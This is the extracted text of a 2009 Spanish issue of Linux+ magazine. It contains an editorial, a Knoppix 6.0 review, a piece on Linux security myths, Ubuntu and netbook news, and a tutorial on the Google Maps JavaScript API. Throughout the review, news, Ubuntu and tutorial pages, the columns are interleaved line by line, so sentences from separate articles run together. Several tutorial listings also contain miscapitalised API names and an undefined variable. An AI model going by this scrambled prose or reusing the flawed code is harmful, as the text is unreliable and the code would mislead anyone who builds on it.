Documente Academic
Documente Profesional
Documente Cultură
E
l despertador sonó a las seis y veinte igual que todos los días
de trabajo. Lo primero que pensé era: ¿y si duermo unos diez
minutos más? Y, como siempre, me quedé en la cama hasta
las siete. Sólo después de tomar una ducha era capaz de abrir
los ojos (es decir, levantar los párpados de manera que vea el mundo).
Y de repente, a pesar de sentirme extremadamente cansada y sin ganas de
salir de casa, a pesar de tener solo diez minutos para arreglarme y preparar
el desayuno, me paré un momento y pensé, sin darme cuenta: ¡Qué exci-
tante es la vida! Y volví a prepararme para salir pensando sobre todo lo
que tenía que hacer durante las próximas diez u once horas.
Ese momento, un segundo apenas, no me lo pude sacar de la cabeza
durante varias semanas. Sí, la vida es excitante. Lleva muchas sorpre-
sas, nos enfrenta cada día a situaciones difíciles, nos hace tomar deci-
siones que a primera vista parecen malas (o aun dañinas) para nosotros
o nuestros colaboradores, amigos y familia, pero después de poco tiem-
po resultan acertadas y provechosas.
La vida lleva muchas contradicciones de este tipo. Lo malo resulta
bueno y al revés. Las personas que son extremadamente idealistas, con
www.lpmagazine.org 3
índice
En este número
6 Knoppix 6.0
Hector Colina
28 Debian Lenny 5.0: La última versión
estable del sistema operativo libre
Leonel Iván Saafigueroa
Gracias a veintidós meses de desarrollo constante, y luego de postergar
novedades la fecha de lanzamiento varias veces, apareció una nueva versión estable
del sistema operativo libre por excelencia.
8 Noticias
Equipo de Linux+
10 Ubuntu
Francisco Javier Carazo Gil
12 Fedora
Diego Rivero Montes
entrevista
36 SYS4NET:
Hosting de calidad máxima
SYS4NET es una companía dedicada a los servicios de alojamiento web
y registro de dominios, con infraestructura propia en España, en la que
aloja más de 20.000 páginas web.
22 Privacidad en Flickr
José María Gómez Hidalgo
Las redes sociales han convertido a la Web en un entorno realmente inte-
ractivo y social para todos sus usuarios. Hoy en día, cualquiera puede crear
contenidos en la Web, y compartirlos con todos sus conocidos.
38 Geolocalización IP
David Puente Castro
Localizar una IP a lo largo del globo terráqueo para saber en que país,
ciudad, región, latitud o longitud se encuentra alguien con el que chatea-
mos y desconocemos su paradero, no pasa de ser un mero juguete que
puede resultar divertido. Pero cuando se implementa dentro del código
de nuestro propio traceroute, entonces se convierte en un arma mucho
más poderosa.
4 Linux+ 4/2009
índice
conocimiento libre
www.lpmagazine.org 5
descripción de DVD
DVD
Knoppix 6.0
E
n marzo del 2008, salía a la luz pú-
Listado 1. Contenido del archivo /etc/apt/sources.list de Knoppix 6.0
blica la última versión que se co-
nocía de Knoppix, la versión 5.3.1;
desde ese entonces ha transcurrido knoppix@Microknoppix:/etc$ cat apt/sources.list
casi un año para que una nueva versión saliese deb http://ftp.de.debian.org/debian experimental main contrib non-free
a la luz pública: Knoppix 6.0. deb http://ftp.de.debian.org/debian unstable main contrib non-free
Knoppix 6.0 puede ser considerado como deb http://security.debian.org lenny/updates main contrib non-free
un cambio de paradigma en cuanto a sus suce- deb http://ftp.de.debian.org/debian lenny main contrib non-free
sores en función de que Klaus Knopper ha dado deb http://ftp.de.debian.org/debian stable main contrib non-free
un vuelo a muchos componentes, desde el ma- deb http://security.debian.org stable/updates main contrib non-free
nejador de escritorios, hasta el sistema base. # Knoppix repository
deb http://debian-knoppix.alioth.debian.org ./
Sistema Base
En principio, la base de Knoppix 6.0 es debian,
por lo cual aprovecha gran parte de las aplica- con KDE en Knoppix, no obstante pensamos necesario actualizar las fuentes con aptitude
ciones empaquetadas para debian; por ejem- que Klaus Knopper realizó una jugada en update, luego de la actualización estará dispo-
plo, el archivo de configuración para la des- función de que Knoppix pudiese funcionar en nible openoffice.org-l10n-es.
carga de archivos luce de la manera presentada equipos de bajo poder cómputo.
en el Listado 1. Es interesante notar que Klaus Navegación
utiliza Alioth, plataforma de la comunidad de Aplicaciones Para navegar en Internet, Knoppix 6.0, trae in-
Debian para desarrollos que está al servicio de LXDE incluye PCMan File Manager 0.5 como corporado Iceweasel 3.0.5 con el plugin nos-
la comunidad GNU. manejador de archivos, aplicación bastante rá- cript activado (ver Figura 1) por defecto y para
pida que cumple el cometido de permitir exa- los que necesitan navegar en consola en algún
Aspecto Gráfico minar, mover, cortar, copiar o visualizar archi- momento, el paquete www-browser.
Knoppix 6.0 trae como escritorio LXDE, acró- vos graficos.
nimo de Lightweight X11 Desktop Environment, En cuanto a ofimática, se incluye Open- Accesorios
en su versión 0.3.2.1, ambiente de escritorio Office.org en su versión 3.0.1, con lo cual Knoppix 6.0 trae incorporado un lector cd pdf,
diseñado con el propósito de ser muy rápido, cualquier usuario de Knoppix tendrá en sus un editor de textos sencillos (leafpad), gnokii
ligero y que consuma pocos recursos; LXDE manos una estación de trabajo con una de las para sincronizar teléfonos celulares.
ha sido empaquetado para las distribuciones de mejores suites ofimáticas del mundo del soft-
Linux más importantes, tales como ArchLinux, ware libre, no obstante, un primer problema Accesibilidad
Debian, Fedora, Gentoo, Mandriva, Ubuntu, con el cual los usuarios hispanohablantes nos Knoppix 6.0 está pensado, es nuestra impre-
Xandros, SuSE, Slackware y otras más. podemos encontrar es que esta herramienta está sión, mayormente para usuarios con problemas
Este cambio puede desorientar a muchos en inglés y que para poder instalar los paquetes de accesibilidad, destacándose A.D.R.I.A.N.E.
usuarios que estaban acostumbrados a trabajar necesarios para que se configure en español, es (Audio Desktop Reference Implementation And
Networking Environment) una herramienta que
integra lo mejor del mundo GNU en esta mate-
ria, lector de menús, sintetizador de voz, mag-
nificador de pantallas y otros más; así mismo,
ADRIANE soporta dispositivos braille, tal vez
porque Klaus Knopper quizo desarrollar una
herramienta poderosa para su esposa Adrian-
ne (que posee debilidades visuales) y todas
aquellas personas que poseen discapacidades
visuales.
Recomendaciones
A continuación algunas recomendaciones que
se podrán utilizar a la hora de instalar Kno-
ppix 6.0:
6 Linux+ 4/2009
descripción de DVD
DVD
Conclusiones
Quizás para los usuarios acostumbrados
a otras versiones de Knoppix, la 6.0 les parezca
un retroceso en cuanto a interfaz gráfica,
Figura 2. A.D.R.I.A.N.E
cantidad de paquetes disponibles y otros. No
obstante, es indudable el aporte que Knoppix Nota: Las pruebas de esta distribución fue-
6.0 da a todas aquellas personas que poseen ron realizadas en una portátil Asus PRO52RL,
Sobre el autor problemas de accesibilidad y que hasta hoy con procesador Duo T2330 de 1,60 Ghz, 2Gb
no tenían una distribución de Linux enfocada de RAM sobre una máquina virtual virtualbox
Hector Colina, evangelista del software lib-
en sus necesidades. 2.1.2, funcionando sobre Debian Lenny con
re con más de 12 años de experiencia en
Otro punto importante a considerar es lo kernel personalizado 2.6.28.
GNU, investigador en procesos de aprop
ligero de Knoppix 6.0 lo cual lo hace ideal para
iación y transferencia tecnológicas, obtuvo
instalar en portátiles mini, que abundan hoy día
una licenciatura en Teoría Histórica, vive
y que con el correo del tiempo han disminuido
en Mérida, Venezuela y es activo colabo-
rador en la comunidad de Debian y en los
enormemente el precio, quizás ésta haya sido En la red
una de las inspiraciones de Klaus Knopper al
grupos de usuarios de su país. • http://www.lxde.org/
reescribir Knoppix.
PUBLICIDAD
www.lpmagazine.org 7
NE WS
novedades
Noticias
8 Linux+ 4/2009
NE WS
novedades
Noticias
D icen que los tiempos están cambiando, En primer lugar: sí que existen virus para Ubuntu deja de ser una distribución
utilizada en hogares. Tampoco es una
y se lleva oyendo desde que el mundo Linux. Muy pocos, y, si el sistema está bien
distro que se utiliza en ordenadores
es mundo. Sin embargo, en algunas áreas los parcheado y administrado, sin posibilidad de de sobremesa. Canonical realizó una
tiempos YA han cambiado. En lo que se re- propagación efectiva. Pero existen, y pueden encuesta, gracias a la cual nos enteramos
fiera a los sistemas operativos en PC, cuando hacer daño. Los usuarios que no distingan la de que la mayoría de las casi 7.000
empresas encuestadas están utilizando
Linux empezó a despuntar estaban cambian- cuenta root de guest, deben tener un antivi-
Ubuntu Linux en trabajos de misión críti-
do los tiempos. Hoy, Linux no es un proyecto rus instalado en su sistema. ca que normalmente se ejecutan en servi-
de futuro, es presente. Seguimos: los ataques a Linux son tan fre- dores, como seguridad de correo electró-
Algo similar pasó hace unos años, cuan- cuentas como en Windows. Sí, lo son, que nadie nico, routing, clustering, virtualización,
backup de datos o bases de datos.
do los virus cambiaron de rumbo. En lugar se eche las manos a la cabeza: Linux necesita
Ahora solo cabe preguntar: ¿Cuándo
de ser código ejecutable puro y duro, las un cortafuegos, al igual que lo necesita cualquier Ubuntu sustituirá a Red Hat y se conver-
amenazas informáticas empezaron a cambiar sistema conectado a Internet. En la práctica tota- tirá en el líder de Linux para el mercado
y a dedicarse al robo de datos y al engaño. lidad de las distribuciones hay uno incluido, empresarial?
Fuente: Rosalía Arroyo, http://
Los tiempos están cambiando, decíamos así que basta con tenerlo en marcha.
www.vnunet.es/es/vnunet/news/2009/02/
los profesionales de la seguridad en 2004, El spam: el spam no es un tema de un deter- 05/ubuntu_entra_en_las_corporaciones
2005, 2006… Y ya estamos en 2009. Seño- minado sistema operativo. Todo aquel que tenga
JoliCloud, nueva distribución
res: los tiempos han cambiado. Hace tiempo una cuenta de correo electrónico, tarde o tem-
diseñana para ultraportátiles
el tener Linux instalado era una garantía de prano recibirá spam en su Mac, en su WinPC Tariq Krim, el ex CEO de Netvibes,
seguridad, mientras que hoy en día no lo es. o en su OS/2, me da exactamente lo mismo. Si acaba de desarrollar una nueva distribu-
Los tiempos han cambiado. no se quiere tener un buzón lleno de ofertas de ción Linux para ultraportátiles, nombrada
JoliCloud. La distro trae una fuerte
Desde hace mucho tiempo he afirmado viagra, hay que instalar un sistema antispam.
integración con las aplicaciones cloud
que el mayor agujero de seguridad de un siste- Y por último: existen soluciones que computing. La interfaz ha sufrido de una
ma es el dedo índice del usuario. El dedo que aúnan todas esas protecciones en una aplica- simplificación y orientación hacia la web
hace click en un enlace incorrecto, el dedo ción. Sé que muchos usuarios no quieren ni que mejora la experiencia del usuario,
además se ha logrado una reducción de
que hace click en un Aceptar en lugar de Can- oír hablar de programas de este tipo, pero en
los tiempos de arranque.
celar. Y ese dedo lo va a hacer exactamente el mercado existen y son muy necesarios. So- Fuente: http://www.desarrolloweb.com/
igual en un maravilloso Ubuntu o en un Win- lamente la inconsciencia y el error de pensar actualidad/jolicloud-nueva-distribucion-
dows 95 sin parchear. Linux es perfecto pueden llevar a la catástro- linux-para-netbooks-1402.html
La necesidad de un sistema de seguridad fe a un usuario no experto. En 2009 los operadores españoles
siempre se ha entendido como un antivirus. Los tiempos están cambiando, y el cambio más grandes venderán móviles con Linux
Posteriormente se añadió un cortafuegos, un debe llegar a todo el mundo. Hay que prote- Orange, Telefónica y Vodafone, entre
otras, han anunciado que en 2009 quieren
anti spam, un antinosequé… Y los usuarios ger la información, y Linux no lo va a hacer
vender móviles con Linux. Todas ellas
de Linux tan contentos con su cortafuegos. por arte de magia, sino porque tiene herramien- pertenecen a LiMo, fundación de Linux
Se basaban en unos conocimientos que hoy tas que lo protegen adecuadamente. Usémoslas, inalámbrica. Telefónica hará lo propio
en día no tienen los usuarios de Linux. y lo más importante: hagamos que los usuarios y venderá terminales que compitan con
los sistemas operativos de Nokia, Apple,
Entre todos los que podamos tener más a los que tengamos que aconsejar las usen. Que
Microsoft y Google. (...) En el mercado
conocimientos de sistemas, debemos empe- no pase como con las copias de seguridad, que hay algunos dispositivos que utilizan
zar a derrocar las ideas instauradas como siempre se dice que es básico y… ¿cuándo fue LiMo y han sido fabricados por firmas
inamovibles, que van a perjudicar a los nue- la última vez que hizo un backup de su sistema? como NEC, Panasonic o Motorola.
Fuente: Manuel Moreno, http://
vos usuarios de Linux. Ontinet.com
www.vnunet.es/es/vnunet/news/2009/02/
09/las_principales_operadoras_vende-
ran_moviles_con_linux_en_2009
www.lpmagazine.org 9
novedades
Ubuntu sección llevada por Francisco Javier Carazo Gil ubuntu@lpmagazine.org
La distribución
más popular de 2008 UNR 9.04, Ubuntu oficial para miniportátiles
Posiblemente muchos lo suponíais
ya, pero como siempre es bueno tener
datos para poder afirmarlo con mayor
E xisten todavía muchos nombres para lla-
mar a esa familia de equipos portátiles
iniciada por Asus con su modelo Eee PC. El
bian, pero una gran cantidad de distribuciones,
algunas creadas por la propia Canonical, están
derivadas a su vez de ella.
seguridad y objetividad. Según el informe
que elabora cada año Distro Watch, portal término más utilizado a día de hoy es netbook Existen varias distribuciones derivadas de
dedicado a todas las distribuciones de aunque existen otros como UMPC, miniportátil Ubuntu orientadas a este segmento, algunas más
GNU/Linux, BSD y Solaris; Ubuntu ha o portátil ultracompacto. La verdad, es que el concretamente orientadas al Asus Eee PC, como
sido la distribución más popular a lo largo
de 2008. Aunque hace ya algo de tiempo
nombre que termine estandarizándose de facto Ubuntu Easy Peasy, el modelo que inauguró esta
que pasó esta fecha, nunca viene mal en un futuro que supongo, será cercano, tendrá idea. En realidad, funcionan sobre los demás mo-
recordar este tipo de noticias que al fin otro nombre muy asociado a él: Linux. Y es que delos y marcas, pero a priori, tienen un mejor so-
y al cabo, suponen algo así como un para todos nosotros amantes en mayor o menor porte para este modelo en concreto, sobre todo en
premio a la regularidad a lo largo de un
año. Para quienes no tengan claro la pro-
medida de GNU/Linux, el nombre de nuestro cuestiones relativas al hardware y a la adaptación
cedencia de los datos, deciros que aunque sistema operativo favorito siempre está relacio- del escritorio al entorno en que se muestra, las
posiblemente los de DistroWatch verdad nado con los PCs, ya sean portátiles, ultraportá- pantallas reducidas de tamaño. Linux4one, está
absoluta, sí son uno de los mejores tiles o equipos de sobremesa. Sin embargo, para también basado en Ubuntu pero está orientado al
documentados que podemos encontrar
en la red. Un buen síntoma sin lugar
la mayoría de usuarios de PCs que son usuarios modelo de Acer, Aspire One. Hemos hablado en
a dudas para una distribución que está de toda la vida de Windows, será la primera vez anteriores entregas de esta revista, en esta misma
ya en fase de madurez y que sin embargo que hayan visto equipos en los centros comer- sección, de algunas como por ejemplo Ubuntu
sigue creando seguidores. La clasificación ciales y tiendas especializadas a gran escala con Easy Peasy u otras de las que no hemos hablado
final quedó así:
• Ubuntu,
distintas distribuciones de GNU/Linux. pero que tienen ya su propia base de usuarios
• OpenSUSE, La verdad es que el mérito completo no es y colaboradores como eeeXubuntu o Linux4one .
• Linux Mint, sólo de las distribuciones en sí, sino del fracaso Como decíamos, Ubuntu tiene ya varias
• Fedora, de Microsoft con Windows Vista, un sistema distribuciones derivadas orientadas a este tipo
• PCLinuxOS,
• Debian,
operativo incapaz de ejecutarse decentemente de equipos pero ninguna oficial. Sin embargo,
• Mandriva, en este tipo de equipos de reducidos precio Canonical, la empresa matriz de Ubuntu ha de-
• DreamLinux, y dimensiones, y también reducida potencia hard- cidido crear una distribución, fomentada por la
• Sabayon, ware en comparación con sus hermanos mayores. propia empresa matriz, de nombre Ubuntu 9.04
• Damn Small Linux.
Al final, como casi todos sabréis, Microsoft se ha Netbook Remix, que ocupará este sector con el
Ubuntu, también en las empresas visto obligada a alargar la vida de su ya anciano apoyo de la propia Canonical, al igual que ocurre
Desde la creación de Ubuntu Server, dos XP unos cuantos años más, para que esté dispo- en sus respectivas áreas con Kubuntu, Xubuntu
de los objetivos principales de Canonical
eran hacer a Ubuntu rentable a través de los
nible en este sector mientras sale a la luz el espe- o el CD educativo de Ubuntu.
ingresos que podía generarle esta división radísimo Windows 7. Se espera que Windows 7 Es de vital importancia este paso, puesto que
de la distribución y por supuesto, buscarse mejore a Vista en todo y muy especialmente en muchos fabricantes, eligen distribuciones que es-
un hueco dentro de las grandes corporacio- no ser un devorador de recursos hardware como tán soportadas por empresas de cierta relevancia
nes como algo más que una distribución
para equipos de escritorio. Aunque muchos
ningún otro sistema operativo de uso comercial para que las incorporen por defectos sus equipos,
han criticado en algunas ocasiones, las en toda la corta pero intensa vida de la compu- como es el caso de Linpus para el Acer Aspire
modificaciones que Canonical ha realizado tación. One. Ningún fabricante de hardware, se arriesga
sobre el núcleo Linux, parece que la esta- Como en todas las áreas en las que se a instalar por defecto con licencia OEM (aunque
bilidad no se ha comprometido tanto como
algunos podían creer y a día de hoy, sí es
especializan las distribuciones, ésta no podía gratuita) un sistema que está soportado por una
verdad que Ubuntu Server se ha convertido ser otra y desde el momento en que comenzó comunidad de usuarios sin tener una empresa
en una alternativa real a otras distribuciones a popularizarse este tipo de equipos, miembros que la respalde. En el caso de las distribuciones
clásicas en este campo, como Red Hat. Sin de la comunidad de Software Libre comenza- derivadas de Ubuntu hasta ahora, esto era lo que
embargo, todavía queda mucho para llegar
al nivel de la distribución del sombrero.
ron a desarrollar distribuciones especializadas pasaba, pero a partir de ahora posiblemente, gra-
para netbooks. Hablamos de distribuciones en cias a la fama y al renombre que está cogiendo ya
Ubuntu Mobile usará QT en lugar de Gnome las que el interfaz gráfica está especialmente el nombre Ubuntu, esperemos que los fabricantes
A diferencia de la versión para escritorio,
parece que Canonical se ha decantado por
adaptada a las pequeñas pantallas, de entre 7 empiecen a instalarla por defecto en sus equipos.
el binomio QT/KDE para la versión de y 11 pulgadas, y también el software que traen El hecho de que las empresas de hardware
Ubuntu destinada a dispositivos móviles. incorporado está orientado a las funciones que puedan elegir a esta distribución como el sistema
La versión actual sí usa Gnome, pero debi- suelen cumplir estos equipos: navegación, co- operativo predefinido para las versiones con
do a problemas con el soporte de distintos
tamaños de pantalla y a que Nokia licencia-
rreo electrónico, mensajería instantánea... GNU/Linux de sus equipos de bajo coste, es una
rá QT bajo LGPL, la opción de QT parece Como muchos de vosotros sabéis, la mayor cantera más, de usuarios que a todos los usuarios
cada día más clara. Además, hay que tener parte de las distribuciones nacen a partir de otra de las distintas versiones de Ubuntu en concreto
en cuenta el apoyo y las mejoras que pueda distribución, que en muchos casos a su vez de- y de Linux en general, beneficiará. Por cierto, co-
aportar Nokia a QT en cuestiones propias
de movilidad.
riva de una tercera, y en ocasiones, incluso se pue- mo habréis visto en el nombre de la distribución,
de suceder esta cadena en más niveles. Ubuntu la versión estable saldrá a la vez que la versión en
es de hecho una distribución derivada de De- la que está basada, Jaunty Jackalope.
10 Linux+ 4/2009
Si no puedes leer el disco DVD
y no notas ningún tipo de deterioro
mecánico, por favor, pruébalo en al menos
dos unidades de disco diferentes.
4/2009
12 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps
G
racias al API que Google ha puesto a dispo- literalmente por las calles de Madrid y Barcelona (aunque
linux@software.com.pl
sición de sus usuarios y la gran cantidad de previsiblemente en los próximos meses veremos aumentar el
ejemplos que pueden encontrarse en la red, ya número de ciudades disponibles).
podemos crear los mapas que mejor se ajusten Pero sin duda, lo que realmente supone una enorme dife-
a nuestras necesidades y aprovecharnos de todo el potencial rencia respecto a los callejeros tradicionales es tener a nuestro
que Google nos ofrece. A través del siguiente artículo daremos alcance todo el potencial de Google Maps para ponerlo a nu-
los primeros pasos para la construcción de mapas que cubran estro servicio y crear nuestros propios mapas, tan sencillos o com-
las necesidades de la mayoría de los lectores, aunque no hay plejos como queramos, a través de ls API pública y gratuita
que olvidar que Google Maps da mucho, mucho más de sí. de este servicio. Esto nos permite crear mapas personalizados
de todo tipo, desde mostrando la mejor ruta a nuestro negocio,
Introducción marcando los puntos de interés de nuestro pueblo o superpo-
A principios de 2005 Google lanzó el servicio de Google niendo otro mapa para mostrar cómo quedaría un lugar con una
Maps (http://maps.google.com), que consiste en una página nueva carretera. Las posibilidades son infinitas, y la flexibilidad
web en la que se nos muestra un mapa, con mayor o menor inmensa. A lo largo de este artículo daremos los primeros pasos,
detalle, de cualquier parte del mundo. Pero los mapas de Go- explicaremos los principios básicos necesarios para crear nues-
ogle son mucho más: sin duda lo que más sorprende de ellos tros propios mapas y algunas cosas interesantes que puedan ser
es el nivel de interactividad que permiten; desde moverse por de utilidad para sacar el máximo partido a este sistema.
el mapa, hacer zoom, mostrar e introducir lugares y fotos de
interés, hasta servicios más recientes, como mostrar el aspec- Lenguaje de programación
to real de las calles a través de capturas de satélites, mostrar y software recomendado
el tráfico (por ahora, sólo disponible en EEUU), o el más Para crear mapas con Google Maps el único lenguaje de pro-
reciente en España Google Street, que nos permite movernos gramación que nos va a hacer falta es Javascript. A pesar de
14 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps
que en la página de Google Maps nos advierten serie de restricciones, como mantener visibles Para crear nuestro primer mapa, creamos
de que es importante tener un conocimiento los logotipos atributivos (no podemos tapar la un documento .html con la estructura básica de
elevado de este lenguaje, la realidad es que hay imagen de Google en el mapa con otra imagen, una página web (head, body...) y copiamos den-
tantos ejemplos disponibles en la red que unos por ejemplo) o el número máximo de geolo- tro, por un lado el enlace a la clave que nos ha
pocos cambios normalmente serán suficientes calizaciones diarias al día (esto es, convertir dado Google (no olvides sustituir el valor que
para ajustarlos a nuestras necesidades. En cual- direcciones postales en coordenadas, lo cual sigue al parámetro key por tu propia clave):
quier caso, durante este artículo se irán dando está limitado a 15.000 diarias). En general,
algunas pautas necesarias sobre este lenguaje las condiciones son bastante buenas y serán <script src="http://maps.google.com/
para aquellos lectores que hayan trabajado más que suficientes para cualquier sitio que maps?
menos con Javascript, de forma que puedan estemos construyendo. No obstante, merece la file=api&v=2&key=MICLAVE&hl=es"
comprender los ejemplos y adaptarlos a lo que pena echarles un vistazo. Una vez completado type="text/javascript">
están buscando. el formulario, obtendremos nuestra clave: una </script>
Dado que hablamos de Javascript como larga ristra de números y letras. Es importante
lenguaje básico, el sistema operativo sobre el no perderla, ya que tendremos que meterla en Y por otro lado el código de nuestro primer
que vayan a correr los mapas será indiferente. Sí todos los mapas que construyamos. mapa propiamente dicho (Listado 1).
que es altamente recomendable utilizar para eje-
cutar y depurar el código el navegador Firefox, Listado 1. El código de nuestro primer mapa
ya que éste trae, en el menú Herramientas, una
Consola de Errores donde podremos ir viendo <script type="text/javascript">
los errores que cometamos con el Javascript. //<![CDATA[
Además, si se desea depurar el código con un // Comprobamos que el navegador es compatible
método más sofisticado, existe la posibilidad de if (GBrowserIsCompatible()) {
instalar el plugin para Firefox Venkman (http:// // Creamos la variable “mapa” y asignamos los controles básicos var
www.mozilla.org/projects/venkman/), que nos map = new GMap2(document.getElementById("map"));
ofrece un debugger completo para ir depurando map.addControl(new GlargeMapControl());
paso a paso nuestro código Javascript. map.addControl(new GmapTypeControl());
Respecto al editor de código, definitivamen- // Centramos el mapa y establecemos el nivel de zoom inicial.
te no existe el editor perfecto. Sin embargo, una map.setCenter(new GlatLng(40.41, -3.70),6);
posibilidad es instalar el plugin para Firefox Ex- }
tension Developer (https://addons.mozilla.org/ // Si no lo es, mostramos un aviso
es-ES/firefox/addon/7434), que nos permite else {
editar nuestro código Javascript o el de cualquier alert("Este navegador no es compatible con Google Maps");
página web que visitemos, guardar los ficheros }
modificados, etc. //]]>
Si nuestra intención es realizar mapas más </script>
complejos, por ejemplo en los que las coorde-
nadas se lean de una base de datos o que man-
den información a un servidor, será necesario Listado 2. Creando marcadores
mezclar el código Javascript en páginas con
un lenguaje de servidor, como puede ser PHP var point = new GLatLng(40.43,-4.78);
o JSP. Dado que su uso ya es para casos más var marker = crearMarcador(point,'Informacion sobre este punto')
específicos y complejos, en este artículos crea- map.addOverlay(marker);
remos mapas que puedan gestionarse comple- function crearMarcador(point,html) {
tamente a través de código Javascript, dejando var marker = new GMarker(point);
fuera esa posibilidad. GEvent.addListener(marker, "click", function() {
marker.openInfoWindowHtml(html);
Cómo crear un mapa básico });
Antes de empezar a jugar con el código Javas- return marker;
cript, necesitamos conseguir una clave de acceso }
al API de Google. Esta clave es gratuita y muy
fácil de conseguir, pero es un paso imprescin-
dible para tener acceso a las funciones del API. Listado 3. Definiendo un fichero XML
Para ello es necesario contar con una cuenta de
correo de Google e introducir la URL de nues- <markers>
tro sitio web en la siguiente dirección: http:// <marker lat="40.65" lng="-3.71" html="Info marcador 1" label="M1" />
code.google.com/intl/es/apis/maps/signup.html <marker lat="42.17" lng="-4.21" html="Info marcador 2" label="M2" />
Es importante leer con cuidado las con- <marker lat="43.89" lng="-1.29" html="Info marcador 3" label="M3" />
diciones de uso que se especifican, ya que </markers>
a pesar de que la API sea gratuita, tiene una
www.lpmagazine.org 15
gráfica y diseño web
Mapas con el API de Google Maps
16 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps
(la imagen en sí) con las dimensiones que mejor dos parámetros: el punto y nuestro nuevo icono do, podemos obtener sus nuevas coordenadas y
se ajusten a nuestra imagen (Listado 5). (o, en lo que a nosotros nos afecta, la función actualizarlas, o bien en nuestro código, o bien
Una vez definido el nuevo tipo de icono, pasará de recibir como parámetros el punto y la en el fichero XML. Esta actualización podría
creamos las variables de ese tipo con la imagen información a mostrar, a recibir estos dos más hacerse de forma automática tirando un poco
que queremos que se muestre (tanto de base el icono personalizado) (Listado 6). más del hilo del código Javascript; pero eso
como de sombra): Por lo demás, el código permanece igual. queda fuera del propósito de este artículo, por
Sólo habrá que cambiar las llamadas a crear- lo que lo dejaremos para otra ocasión.
var miIcono = new GIcon(baseIcon, Marcador por crearMarcadorPersonalizado En cualquier caso, las funciones que de-
"imagenes/icono.png", null, que aparecen en el código anterior. bemos introducir en nuestro código para poder
"imagenes/iconoSombra.png"); arrastrar los marcadores de un punto a otro son
Marcadores Drag &Drop las que muestra el Listado 7.
Por último, definiremos una nueva función Pero los marcadores no tienen por qué permane- Como podemos ver, por un lado tenemos
para crear estos marcadores personalizados (o cer fijos en un punto. Podemos definirlos de tal que la definición del marcador ha cambiado
sobreescribiremos la que ya teníamos), cuya manera que el usuario pueda arrastrar el marca- ligeramente, ya que en esta ocasión, además de
mayor diferencia es que, a la hora de crear el dor hasta colocarlo en una nueva posición. Una crearlo dando la posición en la que debe estar,
objeto GMarker, llamamos a un constructor con vez situado en el punto que estábamos buscan- introducimos el modificador draggable, que
nos permite arrastrarlo. Ésta es la diferencia
Listado 4. Leyendo los marcadores más importante, ya que las funciones que reci-
ben los eventos de inicio y fin del arrastrado lo
var gmarkers = []; único que hacen es ocultar y mostrar la ventana
// Leemos del fichero coordenadas.xml de información respectivamente.
GDownloadUrl("coordenadas.xml", function(doc) { Para que este cambio de posición sea más
var xmlDoc = GXml.parse(doc); útil, vamos a modificar ligeramente la función
var markers = xmlDoc.documentElement.getElementsByTagName("marker"); que se invoca cuando soltamos el marcador en
for (var i = 0; i < markers.length; i++) { su nueva posición, de tal manera que la ventana
// Sacamos los campos del xml para cada marcador de información, en vez de mostrar un mensaje
var lat = parseFloat(markers[i].getAttribute("lat")); estático muestre las coordenadas del nuevo
var lng = parseFloat(markers[i].getAttribute("lng")); punto (Listado 8).
var point = new GLatLng(lat,lng);
var html = markers[i].getAttribute("html"); Creación de rutas
var label = markers[i].getAttribute("label"); La creación de rutas puede ser desde algo tan
// Creamos el marcador sencillo como unir dos puntos del mapa a través
var marker = crearMarcador(point,label,html); de una línea recta (que a priori puede no tener
// Y lo añadimos al mapa mucha utilidad) hasta la creación de rutas reales
map.addOverlay(marker); utilizando la información de Google Maps y, lo
} que es más importante en el caso de las rutas en
// Añadimos la barra lateral coche, las restricciones de las calles (dirección
document.getElementById("side_bar").innerHTML = side_bar_html; prohibida, sentido único, etc). Primero veremos
}); el caso básico de creación de líneas y luego nos
meteremos con el cálculo de rutas transitables.
Listado 5. Creando marcadores personalizados
Creación de una línea recta entre dos
var iconoNuevo = new GIcon();
o más puntos
// Las dimensiones de la imagen sombra del icono
La creación de líneas rectas entre dos o más
iconoNuevo.shadowSize=new Gsize(56,32);
puntos se llama Polyline, y su creación es muy
// Las dimensiones del icono
sencilla, ya que se basa en puntos exactamen-
iconoNuevo.iconAnchor=new Gpoint(16,32);
te iguales que los utilizados para la creación
//Las dimensiones de la ventana de información
de marcadores. Para pintar la ruta lo único
iconoNuevo.infoWindowAnchor=new Gpoint(16,0);
que necesitamos son las coordenadas de los
puntos que van a formar la ruta. Suponiendo
Listado 6. Definendo una nueva función para crear marcadores personalizados
que queremos pintar una ruta formada por tres
function crearMarcadorPersonalizado(point,html,miIcono) { puntos (aunque este número no está limitado),
var marker = new GMarker(point,icon); la función que pinta el Polyline será así como la
GEvent.addListener(marker, "click", function() { presenta el Listado 9.
marker.openInfoWindowHtml(html);
}); Creación de rutas reales para recorrer
return marker; a pie o en coche
} Pero sin duda, mucho más interesante que tra-
zar líneas rectas entre varios puntos, es obtener
www.lpmagazine.org 17
gráfica y diseño web
Mapas con el API de Google Maps
una ruta funcional entre ellos. Y sin embargo a otro, parece tener más sentido este caso que indicaciones) y lo utilizamos como parte de la
es incluso más sencillo que en el caso anterior, no dar directamente latitudes y longitudes. No llamada al constructor de GDirections. Ésto se
aunque hay que analizar con cuidado lo que obstante, si en algún caso es necesario disponer debe a que es en este elemento de la página (tí-
significa cada línea (Listado 10). de esa opción, el API de Google Maps también picamente un DIV) donde aparecerán las indica-
Por un lado vemos que en este caso hemos la contempla. ciones a las que Google nos tiene acostumbrados,
introducido directamente direcciones postales. Por otro lado vemos que sacamos un ele- del estilo de gire a la derecha en la tercera roton-
Dado que estamos dando una ruta de un punto mento del código html (en este caso llamado da o siga recto hasta la salida 36. No obstante, si
sólo quisiéramos mostrar la ruta dibujada sobre el
Listado 7. Introduciendo las funciones para poder arrastrar los marcadores de un punto a otro mapa al estilo de un Polyline y sin las indicacio-
nes exactas, lo único que tendríamos que hacer
var punto = new GLatLng(41.4419, -4.1419); es eliminar la referencia a la caja de texto, de la
var marker = new GMarker(punto, {draggable: true}); manera presentada en el Listado 11.
GEvent.addListener(marker, "dragstart", function() { Afortunadamente, el método load() de
map.closeInfoWindow(); GDirections admite ambas posibilidades.
});
GEvent.addListener(marker, "dragend", function() { Superposición de imágenes
marker.openInfoWindowHtml("Nueva posición del marcador"); La primera posibilidad que nos viene a la cabeza
}); tras saber manejar distintos tipos de iconos, crear
Polylines de colores y demás personalizaciones
Listado 8. Modificando la función para que muestre las coordenadas del nuevo punto es poder introducir una leyenda en el mapa, de
forma que la persona que lo está viendo entienda
